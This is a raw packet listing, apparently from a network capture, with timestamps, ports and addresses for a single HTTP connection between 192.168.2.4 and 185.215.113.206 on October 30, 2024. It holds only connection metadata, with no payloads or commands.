Oct 30, 2024 06:16:10.172328949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.172331095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.172343969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.172493935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.172493935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.172493935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.172734022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.172746897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.172763109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.172772884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.172784090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.172785997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.172807932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.172831059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.173333883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.173351049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.173362017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.173372984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.173379898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.173392057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.173403978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.173403978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.173415899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.173425913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.173432112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.173448086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.173470020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.174190998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.174207926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.174217939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.174228907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.174240112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.174245119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.174269915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.174280882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.250565052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.250576019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.250581980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.250592947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.250597954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.250605106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.250866890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.250879049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.250890017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.250900030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.250941038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.251002073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.251214027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.251224041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.251266003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.290044069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.290091038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.290102005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.290117025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.290158033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.290169001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.290180922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.290240049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.290251970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.290266037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.290282965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.290282965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.290282965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.290282965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.290301085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.290313005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.290350914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.290363073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.290374041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.290385008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.290397882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.290421009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.291208029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.291263103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.291268110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.291280031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.291290045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.291316032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.291343927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.291779995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.291790962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.291800976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.291815996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.291826963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.291834116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.291865110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.291913986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.291959047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.291974068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.292021990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.368036032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.368099928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.368112087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.368138075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.368148088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.368159056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.368169069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.368172884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.368206024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.368220091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.368494987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.368505955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.368514061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.368546963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.368566990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.407367945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.407377958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.407387018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.407421112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.407454014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.407555103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.407565117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.407572985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.407598019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.407635927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.407671928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.407684088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.407694101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.407715082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.407744884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.407773972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.407784939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.407793999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.407804012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.407816887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.407823086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.407826900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.407838106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.407850981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.407877922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.408704042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.408714056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.408724070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.408765078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.408766031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.408777952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.408778906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.408788919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.408797979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.408802032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.408807993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.408823967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.408843994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.408863068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.409481049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.409491062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.409499884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.409523010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.409555912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.448111057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.448144913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.448154926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.448191881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.448230028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.485690117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.485714912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.485747099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.485754013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.485789061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.485812902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.485845089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.485857964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.485868931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.485879898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.485893965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.485912085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.524931908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.524945021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.524955988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.524966955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.524988890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.525010109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.525046110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.525098085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.525119066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.525161028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.525166035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.525180101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.525202990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.525242090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.525291920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.525302887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.525314093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.525325060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.525346994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.525381088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.525656939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.525669098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.525680065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.525712967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.525758028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.525870085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.525917053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.525943041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.525954962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.525965929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.525986910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.525995016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.526005983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.526016951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.526017904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.526030064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.526043892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.526077986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.526561975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.526588917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.526601076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.526611090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.526622057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.526633024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.526645899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.526647091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.526674986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.526688099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.565921068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.565952063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.565963030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.566039085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.603395939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.603416920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.603427887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.603477955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.603503942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.603508949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.603523016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.603533030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.603545904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.603552103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.603565931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.603576899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.603578091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.603590012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.603605986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.603636026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.642775059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.642787933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.642793894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.642798901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.642805099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.642813921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.642822981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.642833948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.642846107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.642858028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.642956972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.642976999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.642988920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.643001080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.643002987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.643028021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.643063068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.643093109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.643105030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.643115997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.643136978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.643170118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.643594027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.643608093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.643620014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.643646002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.643656969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.643662930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.643668890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.643681049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.643692017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.643695116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.643707991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.643728971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.643757105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.644149065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.644160032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.644170046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.644181967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.644192934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.644233942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.683440924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.683465958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.683475971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.683486938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.683507919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.683535099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.720843077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.720870018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.720885038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.720894098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.720906019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.720954895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.720966101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.720978975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.720995903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.721009970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.721033096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.721163988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.721174955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.721203089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.721215963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.721276999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.721295118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.721307039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.721323967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.721324921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.721340895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.721381903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.759902000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.759928942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.759939909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.759952068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.759969950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.759979010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.759984016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.760016918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.760113001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.760124922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.760154963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.760293007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.760304928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.760314941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.760334969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.760356903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.760423899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.760436058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.760447025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.760476112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.760509014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.760646105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.760658026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.760674953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.760684967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.760690928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.760696888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.760716915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.760740042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.761058092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.761069059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.761080980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.761101961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.761133909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.761143923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.761157990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.761168957 CET	80	49730	185.215.113.206	192.168.2.4
